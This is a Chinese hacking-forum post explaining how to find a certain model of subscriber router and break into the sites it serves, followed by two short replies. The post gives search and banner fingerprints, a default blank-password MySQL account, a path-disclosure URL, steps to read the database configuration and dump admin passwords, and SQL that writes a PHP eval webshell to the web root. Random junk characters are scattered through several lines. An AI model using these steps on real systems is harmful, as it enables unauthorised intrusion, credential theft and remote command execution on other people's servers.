利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：
2 L- j6 E5 G" O7 z- a7 r2 E( R
6 J2 s) }: h" s* s1 m* J+ j1：google搜索'Raonet Subscriber Ethernet Router'
9 q1 s+ u) X) Y* b( q( f
4 |, T( D  U& j6 H2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001

% l2 L1 j& {2 B) H+ ^) M3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。

//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
+ y; i# s1 v! n  t' x0 d
2 g# `- s& j' F& D

  S( Z) r* x5 W' I  b! V, ~, W1 E入侵步骤：

1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
8 A- n3 M; Y. U5 z  W& |9 O
2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
use ser_500
select id,passwd from user;
4:通过数据库写入webshell，执行命令：
. [# g& H. w* ], o0 E( ]use mysql;
) f& K5 j) D0 @% \+ u) p7 }create table ok(cmd TEXT);
insert into ok values("<?php @eval($_POST[cmd])?>");
$ x3 E- K! q1 g! J. d% x. Z1 Pselect * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
7 L0 N4 w; Q  G4 m+ wdrop table ok;

5:连接后门shell.php

6. 搞定！

jos666

不错哦，黑服务器补洞。。

Anthony~

这个后果可以很严重的说